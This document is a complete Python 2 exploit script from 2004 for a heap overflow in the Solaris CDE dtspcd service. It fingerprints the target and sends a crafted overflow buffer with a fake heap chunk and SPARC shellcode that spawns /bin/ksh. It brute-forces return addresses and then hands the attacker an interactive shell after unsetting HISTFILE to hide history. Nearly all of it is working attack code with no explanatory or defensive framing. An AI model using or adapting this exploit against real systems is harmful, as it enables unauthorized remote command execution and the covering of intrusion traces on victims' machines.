# noir@olympos.org || noir@uberhax0r.net
# Sinan Eren (c) 2004
# dtspcd heap overflow

import socket
import telnetlib
import sys
import string
import struct
import time
import threading
import random

PORT = "6112"
CHANNEL_ID = 2
SPC_ABORT = 3
SPC_REGISTER = 4


class DTSPCDException(Exception):
    
    def __init__(self, args=None):
        self.args = args
        
    def __str__(self):
        return `self.args`

class DTSPCDClient:
    
    def __init__(self):
        self.seq = 1
    
    def spc_register(self, user, buf):
        return "4 " + "\x00" + user + "\x00\x00" + "10" + "\x00" + buf
    
    def spc_write(self, buf, cmd):
        self.data = "%08x%02x%04x%04x  " % (CHANNEL_ID, cmd, len(buf), self.seq)
        self.seq += 1
        self.data += buf
        if self.sck.send(self.data) < len(self.data):
            raise DTSPCDException, "network problem, packet not fully send"
        
    def spc_read(self):
        
        self.recvbuf = self.sck.recv(20)

        if len(self.recvbuf) < 20:
           raise  DTSPCDException, "network problem, packet not fully recvied"

        self.chan = string.atol(self.recvbuf[:8], 16)
        self.cmd =  string.atol(self.recvbuf[8:10], 16)
        self.mbl =  string.atol(self.recvbuf[10:14], 16)
        self.seqrecv = string.atol(self.recvbuf[14:18], 16)

        #print "chan, cmd, len, seq: " , self.chan, self.cmd, self.mbl, self.seqrecv
        
        self.recvbuf = self.sck.recv(self.mbl)
        
        if len(self.recvbuf) < self.mbl:
            raise  DTSPCDException, "network problem, packet not fully recvied"

        return self.recvbuf
        

class DTSPCDExploit(DTSPCDClient):

    def __init__(self, target, user="", port=PORT):
        self.user = user
        self.set_target(target)
        self.set_port(port)
        DTSPCDClient.__init__(self)
        
        #shellcode: write(0, "/bin/ksh", 8) + fcntl(0, F_DUP2FD, 0-1-2) + exec("/bin/ksh"...)
        self.shellcode =\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\xa4\x1c\x40\x11"+\
        "\x20\xbf\xff\xff"+\
        "\x20\xbf\xff\xff"+\
        "\x7f\xff\xff\xff"+\
        "\xa2\x1c\x40\x11"+\
        "\x90\x24\x40\x11"+\
        "\x92\x10\x20\x09"+\
        "\x94\x0c\x40\x11"+\
        "\x82\x10\x20\x3e"+\
        "\x91\xd0\x20\x08"+\
        "\xa2\x04\x60\x01"+\
        "\x80\xa4\x60\x02"+\
        "\x04\xbf\xff\xfa"+\
        "\x90\x23\xc0\x0f"+\
        "\x92\x03\xe0\x58"+\
        "\x94\x10\x20\x08"+\
        "\x82\x10\x20\x04"+\
        "\x91\xd0\x20\x08"+\
        "\x90\x03\xe0\x58"+\
        "\x92\x02\x20\x10"+\
        "\xc0\x22\x20\x08"+\
        "\xd0\x22\x20\x10"+\
        "\xc0\x22\x20\x14"+\
        "\x82\x10\x20\x0b"+\
        "\x91\xd0\x20\x08"+\
        "\x2f\x62\x69\x6e"+\
        "\x2f\x6b\x73\x68"
        
    def set_user(self, user):
        self.user = user

    def get_user(self):
        return self.user

    def set_target(self, target):
        try:
            self.target = socket.gethostbyname(target)
        except socket.gaierror, err:
            raise DTSPCDException, "DTSPCDExploit, Host: " + target + " " + err[1]

    def get_target(self):
        return self.target

    def set_port(self, port):
        self.port = string.atoi(port)

    def get_port(self):
        return self.port
    
    def get_uname(self):

        self.setup()
        
        self.uname_d = { "hostname": "", "os": "", "version": "", "arch": "" }

        self.spc_write(self.spc_register("root", "\x00"), SPC_REGISTER)
        
        self.resp = self.spc_read()
    
        try:
            self.resp = self.resp[self.resp.index("1000")+5:len(self.resp)-1]
        except ValueError:
            raise DTSPCDException, "Non standart response to REGISTER cmd"

        self.resp = self.resp.split(":")
        
        self.uname_d = { "hostname": self.resp[0],\
                         "os": self.resp[1],\
                         "version": self.resp[2],\
                         "arch": self.resp[3] }
        print self.uname_d

        self.spc_write("", SPC_ABORT)

        self.sck.close()
        
    def setup(self):
        
        try:
            self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
            self.sck.connect((self.target, self.port))
        except socket.error, err:
            raise DTSPCDException, "DTSPCDExploit, Host: " + str(self.target) + ":"\
                  + str(self.port) + " " + err[1]
        
    def exploit(self, retloc, retaddr):

        self.setup()
        
        self.ovf = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - len(self.shellcode)) / 8)

        self.ovf += self.shellcode + "\x00\x00\x10\x3e" + "\x00\x00\x00\x14" +\
                    "\x12\x12\x12\x12" + "\xff\xff\xff\xff" + "\x00\x00\x0f\xf4" +\
                    self.get_chunk(retloc, retaddr)
        self.ovf += "A" * ((0x103e - 8) - len(self.ovf))

        #raw_input("attach")
        
        self.spc_write(self.spc_register("", self.ovf), SPC_REGISTER)

        time.sleep(0.1)
        self.check_bd()
        
        #self.spc_write("", SPC_ABORT)
        
        self.sck.close()

    def get_chunk(self, retloc, retaddr):
        
        return "\x12\x12\x12\x12" + struct.pack(">l", retaddr) +\
               "\x23\x23\x23\x23" + "\xff\xff\xff\xff" +\
               "\x34\x34\x34\x34" + "\x45\x45\x45\x45" +\
               "\x56\x56\x56\x56" + struct.pack(">l", (retloc - 8))

    def attack(self):

        print "[*]  retrieving remote version [*]"
        self.get_uname()
        print "[*]      exploiting ...       [*]"
        
        #do some parsing later ;p
        
        self.ldso_base = 0xff3b0000 #solaris 7, 8 also 9
        
        self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] #from various patch clusters
        self.increment = 0x400
        
        for each in self.thr_jmp_table:
            
            self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute start
                                        #almost always work!
            
            while self.retaddr_base < 0x2f000: #heap brute force end

                print "trying; retloc: 0x%08x, retaddr: 0x%08x" %\
                      ((self.ldso_base+each), self.retaddr_base)
                self.exploit((each+self.ldso_base), self.retaddr_base)

                self.exploit((each+self.ldso_base), self.retaddr_base+4)

                self.retaddr_base += self.increment

    def check_bd(self):
        try:
            self.recvbuf = self.sck.recv(100)
            if self.recvbuf.find("ksh") != -1:
                print "got shellcode response: ", self.recvbuf
                self.proxy()
        except socket.error:
            pass

        return -1
    
    def proxy(self):
        
        self.t = telnetlib.Telnet()
        self.t.sock = self.sck
        self.t.write("unset HISTFILE;uname -a;\n")
        self.t.interact()
        sys.exit(1)
        
                
    def run(self):
        self.attack()
        return


if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "usage: dtspcd_exp.py target_ip"
        sys.exit(0)

    
    exp = DTSPCDExploit(sys.argv[1])
    #print "user, target, port: ", exp.get_user(), exp.get_target(), 
    exp.get_port()
    exp.run()
